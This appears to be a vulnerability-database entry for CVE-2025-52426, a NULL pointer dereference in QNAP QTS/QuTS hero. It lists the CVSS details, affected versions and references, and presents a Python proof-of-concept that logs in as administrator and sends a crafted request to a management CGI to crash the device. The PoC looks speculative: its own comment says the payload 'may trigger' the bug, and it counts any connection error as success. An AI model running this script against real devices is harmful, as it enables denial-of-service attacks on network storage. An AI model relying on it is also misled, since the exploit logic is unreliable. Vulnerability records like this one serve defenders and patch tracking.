CVE-2025-52426

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3256 build 20250913 and later QuTS hero h5.2.7.3256 build 20250913 and later QuTS hero h5.3.1.3250 build 20250912 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.7.3256 build 20250913

QuTS hero h5.2.7 < 3256 build 20250913

QuTS hero h5.3.1 < 3250 build 20250912

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52426 NULL Pointer Dereference PoC
# Target: QNAP QTS/QuTS hero
# Requirement: Administrator credentials
# This PoC demonstrates the vulnerability trigger mechanism

import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TARGET_URL = "https://target-ip:8080"
USERNAME = "admin"
PASSWORD = "password"

def authenticate():
    """Authenticate to QNAP device and obtain session cookie"""
    session = requests.Session()
    auth_url = f"{TARGET_URL}/cgi-bin/authLogin.cgi"
    auth_data = {
        "username": USERNAME,
        "password": PASSWORD
    }
    try:
        response = session.post(auth_url, data=auth_data, verify=False, timeout=10)
        if response.status_code == 200 and "sid" in response.text:
            print(f"[+] Authentication successful")
            return session
        else:
            print(f"[-] Authentication failed")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return None

def trigger_vulnerability(session):
    """Trigger NULL pointer dereference via crafted request"""
    exploit_url = f"{TARGET_URL}/cgi-bin/management/manaRequest.cgi"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Token": "crafted_token_value"
    }
    # Malformed request payload that may trigger NULL dereference
    payload = {
        "func": "advanced_settings",
        "subfunc": "network",
        "action": "modify",
        "config": "NULL"
    }
    try:
        response = session.post(exploit_url, data=payload, headers=headers, verify=False, timeout=5)
        print(f"[*] Request sent, status code: {response.status_code}")
        return response
    except requests.exceptions.RequestException as e:
        print(f"[+] DoS condition detected: {e}")
        return None

if __name__ == "__main__":
    print("[*] CVE-2025-52426 NULL Pointer Dereference PoC")
    print("[*] Target: QNAP QTS/QuTS hero")
    session = authenticate()
    if session:
        trigger_vulnerability(session)
    print("[*] PoC execution completed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52426
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52426
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52426/
[4] VulDB https://vuldb.com/cve/CVE-2025-52426
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

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